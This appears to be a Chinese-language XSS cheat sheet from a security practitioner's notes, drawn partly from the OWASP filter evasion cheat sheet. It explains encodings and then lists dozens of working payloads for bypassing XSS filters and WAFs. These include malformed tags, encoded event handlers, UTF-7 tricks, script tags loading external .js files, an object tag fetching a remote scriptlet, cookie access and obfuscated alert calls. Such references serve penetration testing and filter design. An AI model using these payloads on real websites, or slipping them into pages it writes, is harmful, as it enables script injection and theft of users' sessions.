xss

XSS跨站脚本攻击

0x00 前言

所谓xss,无非是用户可控的数据被客户端进行意料之外的解析

下面来看一下常见的编码

URL编码

一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如/的URL编码为%2F(不区分大小写)

HTML实体编码

  • 命名实体 以&开头,分号结尾,例: <的编码是&lt;
  • 字符编码 十进制、十六进制ASCII码或unicode字符编码,样式为&#数值;,例如<可编码为&#060;&#x3c;
  • 不带分号的字符编码 常见的实体编码格式总是&..;,然而实体编码是可以不使用分号的,而且长度几乎没有限制

    例:

      <img src=# onerror=alert('XSS')>
    
    • 十进制(&#..)
      <IMG SRC=# onerror=&#0000000000000097&#0108&#000000000000101&#114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
    
    • 十六进制(&#x..)
      <IMG SRC=# onerror=&#x0000000061&#x006C&#x065&#x00000000000000072&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    

HTML属性编码

JS编码

  • 八进制 三个八进制数字,不够补0,例:e编码为\145
  • 十六进制 两个十六进制数字,不够补0,例:e编码为\x65
  • UNICODE编码 四个十六进制数字,不够补0,例:e编码为\u0065
  • 转义 一些控制字符,使用特殊的C类型转义风格,例:\n \r

CSS编码

用一个反斜线\后面跟1~6位的十六进制数字,例:e编码为\656500065

复合编码

在实际情况中经常会出现在多种环境嵌套下,可把这些情况称为符合编码,例如:

<td onclick=”openUrl(add.do?userName=’<%=value%>’);”>11</td>

value的内容首先出现在一个URL中,这个URL在一段javascript中,而javascript代码又是html的一部分。所以解码的顺序就是HTML解码–>js解码–>url解码,那么正确的编码顺序就应该是url编码–>js编码–>html编码。

0x01 XSS定位器

可以通过输入一些特殊字符再根据其输出的状态观察是否存在漏洞

'";!--<xx>=&{()}\

0x02 非常规写法

以下只列举语法相关的不常见的写法,编码问题可结合实际考虑

javascript实现图片XSS

<img src=" javascript:alert( 'xxx' );">

无分号引号

<iMg sRc=JaVaScrIPT:alert(`xss`)>

<iMg src=JavAScript:alert(String.fromCharCode(88,83,83))>

畸形的标签

被引号包裹的攻击向量

<!-- <IMG "$_GET['data']"> -->
<IMG "><SCRIPT>alert(/XSS/)</SCRIPT>">
<script>
var param = 'aaa</script><script>alert(/XSS/)</script>';
</script>

空白字符分隔javascript

经尝试,在当前google、firefox、edge、ie11中,img标签的src不支持javascript,下面仅仅是个例子,但是可以在其它支持javascript的标签比如a标签或其它支持这种写法的浏览器中使用

<!-- 引号与javascript之间可以插入任何0-32号字符(未验证) -->
<!-- javascript可以被 空格、回车、空白(%00) 等多种字符分割 -->
<img src=" ja v	ascript:alert(1);">

非字母非数字字符

很多HTML解析器认为HTML关键词后面不能有非字母非数字字符(当前版本firefox,google,ie11等都支持),如果XSS过滤器是这样:<script\s+的话,就会检测失败

<!-- 可以对标签后面的特殊字符进行fuzz -->
<script/xxx src="http://127.0.0.1:8000/xss.js"></script>

或者,不允许空格时:

<script/src="http://127.0.0.1:8000/xss.js"></script>

额外的尖括号

<!-- 下面的 // 可以用来注释掉多余的尖括号,避免出现js错误 -->
<<script>alert('xss');//<</script>

US-ASCII编码

使用畸形的7位ASCII编码来代替8位,这个XSS攻击向量可以绕过大多数内容过滤器,但是只在主机使用US-ASCII编码传输数据时有效,或者可以自己设置编码格式。相对绕过服务器端过滤,这在绕过WAF跨站脚本过滤时候更有效。Apache Tomcat是目前唯一已知使用US-ASCII编码传输的

¼script¾alert(¢XSS¢)¼/script¾

UTF-7编码

如果存在XSS的页面没有提供页面编码头部,或者使用了任何设置为使用UTF-7编码的浏览器,就可以使用下列方式进行攻击。这在任何不改变编码类型的现代浏览器上是无效的,这也是为什么标记为完全不支持的原因

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

html条件选择注释块

只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效

<!--[if gte IE 4]>
  <SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->

object标签

<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>

embed标签

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

该示例只在FireFox下有效,但是比上面的攻击向量在FireFox下好,因为不需要用户安装或启用FLASH

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

URL字符绕过

假设”http://www.google.com/”是不被允许的:

  • IP代替域名
<A HREF="http://66.102.7.147/">XSS</A>
  • URL编码
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
  • 双字节编码(注意,还有另一种双字节编码)
<A HREF="http://1113982867/">XSS</A>
  • 十六进制编码(每个数字的允许的范围大概是240位字符,就如你在第二位上看到的,并且由于十六进制是在0到F之间,所以开头的0可以省略:)
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
  • 八进制编码(又一次允许填充,尽管你必须保证每类在4位字符以上-例如A类,B类等等:)
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
  • 混合编码(让我们混合基本编码并在其中插入一些TAB和换行,虽然不知道浏览器为什么允许这样做。TAB和换行只有被引号包含时才有效)
<A HREF="h
tt	p://6	6.000146.0x7.147/">XSS</A>
  • 协议解析绕过 // 替代 http:// 可以节约很多字节.当输入空间有限时很有用(少两个字符可能解决大问题) 而且可以轻松绕过类似"(ht|f)tp(s)?://"的正则过滤(感谢Ozh提供这部分).你也可以将"//"换成"\\"。你需要保证斜杠在正确的位置,否则可能被当成相对路径URL
<A HREF="//www.google.com/">XSS</A>
  • Google的feeling lucky功能1 Firefox使用Google的"feeling lucky"功能根据用户输入的任何关键词来将用户重定向。如果你存在漏洞的页面在某些随机关键词上搜索引擎排名是第一的,你就可以利用这一特性来攻击FireFox用户。这使用了Firefox的"keyword:"协议。你可以像下面一样使用多个关键词"keyword:XSS+RSnake"。这在Firefox2.0后不再有效.
<A HREF="//google">XSS</A>
  • Google的feeling lucky功能2 这使用了一个仅在FireFox上有效的小技巧,因为它实现了"feelinglucky"功能。不像下面一个例子,这个在Opera上无效因为Opera会认为只是一个老式的HTTP基础认证钓鱼攻击,但它并不是。它只是一个畸形的URL。如果你点击了对话框的确定,它就可以生效。但是在Opera上会是一个错误对话框,所以认为其不被Opera所支持,同样在Firefox2.0后不再有效
<A HREF="http://ha.ckers.org@google">XSS</A>
  • Google的feeling lucky功能3 这是一个畸形的URL只在FireFox和Opera下有效,因为它们实现了"feeling lucky"功能。像上面的例子一样,它要求你的攻击页面在Google上特定关键词排名第一(在这个示例里关键词是"google")
<A HREF="http://google:ha.ckers.org">XSS</A>
  • 绝对DNS名称后额外的点
<A HREF="http://www.google.com./">XSS</A>
  • JavaScriptlink location
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

0x03 绕过WAF

绕过WAF可用字符串

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over​
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Alert混淆以绕过过滤器

(alert)(1)
a=alert,a(1)
[1].find(alert)
top[al+ert](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[al\145rt](1)
top[al\x65rt](1)
top[8680439..toString(30)](1)

0x04 参考

freebuf XSS编码剖析

XSS的原理分析与解剖

freebuf XSS过滤绕过速查表

OWASP XSS Filter Evasion Cheat Sheet

安全从业者